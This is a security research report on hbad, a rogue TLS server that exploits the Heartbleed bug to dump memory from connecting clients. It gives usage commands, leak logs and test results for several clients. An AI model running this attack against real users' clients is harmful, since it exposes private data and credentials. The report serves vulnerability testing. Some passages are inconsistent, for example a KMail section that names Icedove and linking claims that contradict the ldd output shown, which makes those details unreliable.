Heartbleed analysis daemon
hbad - Heartbleed client side tool
Version: 1.0

published by
Curesec GmbH
Table of Contents

1. hbad ................................................................................................................................................... 3
   1.1. Heartbleed bug ........................................................................................................................... 3
   1.2. hbad functionality ...................................................................................................................... 3
       1.2.1. Compiling hbad ................................................................................................................ 3
       1.2.2. Starting hbad .................................................................................................................... 3

2. Tests of clients ................................................................................................................................... 5
   2.1. Affected clients ............................................................................................................................ 5
       2.1.1. Irssi ...................................................................................................................................... 5
       2.1.2. w3m ................................................................................................................................... 5
       2.1.3. Fetchmail .......................................................................................................................... 6
       2.1.4. openssl s_client ............................................................................................................... 7
   2.2. Non-affected clients ..................................................................................................................... 9
       2.2.1. Iceweasel/Firefox ............................................................................................................. 9
       2.2.2. Pidgin .............................................................................................................................. 9
       2.2.3. KMail .............................................................................................................................. 9
       2.2.4. Icedove/Thunderbird ....................................................................................................... 10
       2.2.5. Epiphany Browser .......................................................................................................... 10
1. hbad

1.1. Heartbleed bug

The Heartbleed bug is a programming error in the versions 1.0.1 to 1.0.1f of the open-source OpenSSL cryptography library. This critical security gap makes it possible to read encrypted data of clients and servers connected via TLS. It was fixed in version 1.0.1g on April 7th, 2014.

1.2. hbad functionality

The functionality of hbad can be demonstrated with the below illustration:

If a request is sent to the hbad server by any client (e.g. IRC, Fetchmail, browser), the server initiates the SSL handshake and checks the SSL header for the Heartbeat addon. If it is available, it indicates the client uses OpenSSL. Thereupon the hbad server sends a Heartbeat request back to the client. If the client runs a vulnerable OpenSSL version, it sends back the Heartbeat response, which contains the sensitive data.

1.2.1. Compiling hbad

Hbad is made available as a .tar.gz archive. This archive contains all source files and a makefile. The compilation is executed with make in the unpacked archive directory:

```bash
# make
```

1.2.2. Starting hbad

The execution takes places as follows:

```bash
# ./hbad -p 10023 -t 3
```

The listening port of the server is defined by the parameter \( p \). Parameter \( t \) defines the payload type of the
Heartbeat request message. The types 1 (0 byte payload), 2 (255 byte payload) and 3 (65535 byte payload) are available. An exemplary execution is shown below:

```
# ./hbad -p 10023 -t 3
[info] connection from debian.int.doomsday.com/44579, ipv4 address: 1.1.1.1
[info] sending heartbeat packet
[info] client is vulnerable to CVE-2014-0160
[info] wrote 16381 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 18 bytes to output file
```

A vulnerable client sends a request to the hbad server. The server provides host information (host name, IPv4 address) for every client connection. After checking for the vulnerability of the client via heartbeat request, the client sends data back to the server in the Heartbeat response payload. The server stores the data in the directory `out/`. For identification purposes the output files are named with the IPv4 address along with a time stamp.
2. Tests of clients

2.1. Affected clients

2.1.1. Irssi

Version: 0.8.15 (20100403 1617)

Command: /connect -ssl x.x.x.x port

Irssi output:
Looking up x.x.x.x
Connection to x.x.x.x [x.x.x.x] port port
Connection to x.x.x.x established
warning SSL read error: server closed connection unexpectedly
Connection lost to x.x.x.x

hbad output:
./hbad -p 10023 -t 2
[info] connection from debian.int.doomsday.com/45202, ipv4 address: x.x.x.x
[info] sending heartbeat packet
[info] no answer, trying again
[info] sending heartbeat packet
[info] no answer, trying again
[info] sending heartbeat packet
[info] client is vulnerable to CVE-2014-0160
[info] wrote 271 bytes to output file

Example output:

2.1.2. w3m

Version: w3m/0.5.3+cvs-1.1055

Command: w3m https://x.x.x.x:port

hbad output:
./hbad -p 10023 -t 3
[info] connection from debian.int.doomsday.com/43202, ipv4 address: x.x.x.x
[info] sending heartbeat packet
[info] client is vulnerable to CVE-2014-0160
[info] wrote 16381 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 18 bytes to output file

Example output:

This shortened example output shows how sensitive the contained data can be.

2.1.3. Fetchmail

Version: Fetchmail release 6.3.21

Command: `fetchmail -P 10023`

Example Fetchmail configuration:

```bash
server 192.168.170.222
proto pop3
user tux@gmx.net
pass ********
```
ssl
sslproto tls1
keep

Fetchmail output:

```
fetchmail: Server certificate verification error: self signed certificate
fetchmail: This means that the root signing certificate is not in the trusted CA certificate locations, or the c_rehash needs to be run on the certificate directory. For details, please see the documentation of –sslcertpath and –sslcertfile in the manual page.
fetchmail: Warning: the connection is insecure, continuing anyways. (Better use –sslcertck!)
fetchmail: socket error while fetching from test@test.com@x.x.x.x
fetchmail: Query status=2 (SOCKET)
```

hbad output:

```
./hbad -p 10023 -t 3
[info] connection from debian.int.doomsday.com/45202, ipv4 address: x.x.x.x
[info] sending heartbeat packet
[info] client is vulnerable to CVE-2014-0160
[info] wrote 16381 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 18 bytes to output file
```

Example output:

```
:
:
0000c700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 |.............P...
0000c710 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 |.....@
0000c720 00 00 00 00 00 72 65 2f 6c 6f 63 61 6c 65 2f 65 |re/locale/e
0000c730 6e 2f 4c 5f 4d 45 53 53 41 47 45 53 2f 66 65 |n/LC_MESSAGES/fe
0000c740 74 63 68 6d 61 69 6c 2e 6d 6f 00 6d 6f 90 01 00 |tchmail.mo.mo...
0000c750 00 00 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 |........P....
0000c760 be 75 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 |.U.............
0000c770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.............
```

2.1.4. openssl s_client

Version: OpenSSL 1.0.1e 11 Feb 2013

Command: openssl s_client -connect x.x.x.x:port -tls1

hbad output:
```plaintext
./hbad -p 10023 -t 3
[info] connection from debian.int.doomsday.com/45101, ipv4 address: xx.xx.xx
[info] sending heartbeat packet
[info] client is vulnerable to CVE-2014-0160
[info] wrote 16381 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 16384 bytes to output file
[info] wrote 18 bytes to output file

Example output:
```
```
2.2. Non-affected clients

2.2.1. Iceweasel/Firefox

Iceweasel version: 24.4.0esr-1~deb7u2  
Firefox version: Mozilla Firefox 28.0

hbad output:

```
[info] connection from debian.int.doomsday.com/42116, ipv4 address: x.x.x.x  
[error] heartbeat extension is unsupported
```

Iceweasel is not vulnerable as it is not linked with libssl:

```
# ldd /usr/lib/iceweasel/xulrunner/libxul.so | grep ssl  
# libssl3.so => /usr/lib/x86_64-linux-gnu/libssl3.so
```

2.2.2. Pidgin

Version: Pidgin 2.10.9 (libpurple 2.10.9)

hbad output:

```
[info] connection from debian.int.doomsday.com/31142, ipv4 address: x.x.x.x  
[error] heartbeat extension is unsupported
```

Pidgin is not vulnerable as it is not linked with libnss3/libssl3.

```
# ldd /usr/bin/purple-2/ssl-nss.so | grep ssl  
libssl3.so => /usr/lib/x86_64-linux-gnu/libssl3.so
```

2.2.3. KMail

Version: KMail 1.13.7

hbad output:

```
[info] connection from debian.int.doomsday.com/31142, ipv4 address: x.x.x.x  
[error] heartbeat extension is unsupported
```

Icedove is not vulnerable as it is not linked with libnss3/libssl3.

```
# ldd /usr/bin/kmail | grep tls  
libgnutls.so.26 => /usr/lib/x86_64-linux-gnu/libgnutls.so.26
```
2.2.4. Icedove/Thunderbird

Version: Icedove 24.4.0

hbad output:

```
[info] connection from debian.int.doomsday.com/45612, ipv4 address: x.x.x.x
[error] heartbeat extension is unsupported
```

Icedove is not vulnerable as it is not linked with libnss3/libssl3.

```
# ls /usr/lib/icedove/ | grep ssl
/usr/lib/icedove/libssl3.so
```

2.2.5. Epiphany Browser

Version: Web 3.4.2

hbad output:

```
[info] connection from debian.int.doomsday.com/46115, ipv4 address: x.x.x.x
[error] heartbeat extension is unsupported
```

Epiphany is not vulnerable as it is not linked with libnss3/libssl3.